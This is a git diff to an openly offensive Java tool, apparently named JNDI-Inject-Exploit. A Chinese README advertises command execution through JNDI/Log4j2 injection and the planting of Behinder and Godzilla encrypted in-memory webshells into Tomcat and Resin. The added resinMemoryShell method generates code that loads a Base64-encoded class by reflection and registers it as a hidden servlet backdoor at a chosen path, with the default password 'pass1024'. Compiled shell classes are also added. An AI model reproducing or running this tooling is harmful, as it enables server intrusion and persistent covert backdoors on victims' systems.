diff --git a/README.md b/README.md index 93ad0c4..60d42d7 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,19 @@ - 回显命令执行 - 内存马注入 +## Support + +- 本地gadget探测 +- 回显命令执行 +- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马 +- Tomcat/Resin 一句话内存马 + +## Test + +漏洞环境请转至 v0.3 Version Releases处下载,运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务,访问首页的超链接后的id参数中存在 `Log4j2`漏洞。 + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20220119150756.png) + ## Usage ```shell @@ -119,7 +132,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168 ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) -**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马** +**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)** ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) diff --git a/src/main/java/io/github/exp1orer/StartUp.java b/src/main/java/io/github/exp1orer/StartUp.java index 0ec2b09..f08b24d 100644 --- a/src/main/java/io/github/exp1orer/StartUp.java +++ b/src/main/java/io/github/exp1orer/StartUp.java @@ -89,12 +89,15 @@ public class StartUp { String[] proxies = options.get("proxy").split(":", 2); proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); } - memoryShell.add("BehinderFilter"); - memoryShell.add("BehinderServlet"); - memoryShell.add("GodzillaFilter"); - memoryShell.add("GodzillaServlet"); - memoryShell.add("NeoreGeorgFilter"); - memoryShell.add("NeoreGeorgServlet"); + memoryShell.add("TomcatBehinderFilter"); + memoryShell.add("TomcatBehinderServlet"); + memoryShell.add("TomcatGodzillaFilter"); + memoryShell.add("TomcatGodzillaServlet"); + memoryShell.add("TomcatNeoreGeorgFilter"); + memoryShell.add("TomcatNeoreGeorgServlet"); + memoryShell.add("TomcatShortMemShellFilter"); + memoryShell.add("TomcatShortMemShellServlet"); + memoryShell.add("ResinShortMemShellServlet"); try { Class.forName("io.github.exp1orer.util.Config"); @@ -283,7 +286,6 @@ public class StartUp { * @author: SearchNull */ private static boolean checkCommandEcho() { - String line; String respContent; String uuid = UUID.randomUUID().toString(); String command = "echo " + uuid; @@ -338,7 +340,6 @@ public class StartUp { * @author: SearchNull */ private static boolean runCommand(int index, String command) { - String line; String respContent; if (headers == null) { headers = new HashMap(); diff --git a/src/main/java/io/github/exp1orer/util/MemoryShell.java b/src/main/java/io/github/exp1orer/util/MemoryShell.java index 05bb5e6..95407ac 100644 --- a/src/main/java/io/github/exp1orer/util/MemoryShell.java +++ b/src/main/java/io/github/exp1orer/util/MemoryShell.java @@ -8,6 +8,7 @@ import java.util.Base64; public class MemoryShell { private static MemoryShell instance = new MemoryShell(); + private static String className = ""; private MemoryShell() {} @@ -20,7 +21,11 @@ public class MemoryShell { return ""; } - return instance.tomcatMemoryShell(name + ".class"); + if ("ResinMemShellServlet".equals(name)) { + return instance.resinMemoryShell(name); + } else { + return instance.tomcatMemoryShell(name + ".class"); + } } @@ -90,6 +95,46 @@ public class MemoryShell { return code; } + private String resinMemoryShell(String name) { + String payload = renameClass("User", name + ".class"); + String code = String.format("try {\n" + + " Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" + + " java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" + + " javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" + + " com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" + + " javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" + + " java.io.PrintWriter out = rep.getWriter();" + + " javax.servlet.http.HttpSession session = req.getSession();\n" + + " String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" + + " String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" + + "\n" + + " java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" + + " Object web =getServletContext.invoke(contextRequest);\n" + + "\n" + + " com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" + + "\n" + + " com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" + + "\n" + + " String s1=\"%s\";" + + " byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" + + "\n" + + " java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" + + " m.setAccessible(true);\n" + + " m.setAccessible(true);\n" + + " m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" + + " session.setAttribute(\"u\", pwd);\n" + + " smapping.setServletClass(\"%s\");\n" + + " smapping.setServletName(\"%s\");\n" + + " smapping.addURLPattern(path);\n" + + " web1.addServletMapping(smapping);\n" + + " out.println(\"->|Success|<-\");" + + "} catch (Exception e) {\n" + + " e.printStackTrace();\n" + + "}", payload, className, className, className); + + return code; + } + private String renameClass(String prefix, String resourceName) { String bytecodes = ""; ClassPool pool = ClassPool.getDefault(); @@ -100,7 +145,8 @@ public class MemoryShell { try { CtClass ctClass = pool.makeClass(is); - ctClass.setName(prefix + System.nanoTime()); + className = prefix + System.nanoTime(); + ctClass.setName(className); byte[] bytes = ctClass.toBytecode(); bytecodes = Base64.getEncoder().encodeToString(bytes); } catch (IOException | CannotCompileException e) { diff --git a/src/main/resources/ResinMemShellServlet.class b/src/main/resources/ResinMemShellServlet.class new file mode 100644 index 0000000..910e691 Binary files /dev/null and b/src/main/resources/ResinMemShellServlet.class differ diff --git a/src/main/resources/ShortMemShellFilter.class b/src/main/resources/ShortMemShellFilter.class new file mode 100644 index 0000000..1f03b32 Binary files /dev/null and b/src/main/resources/ShortMemShellFilter.class differ diff --git a/src/main/resources/ShortMemShellServlet.class b/src/main/resources/ShortMemShellServlet.class new file mode 100644 index 0000000..3278d53 Binary files /dev/null and b/src/main/resources/ShortMemShellServlet.class differ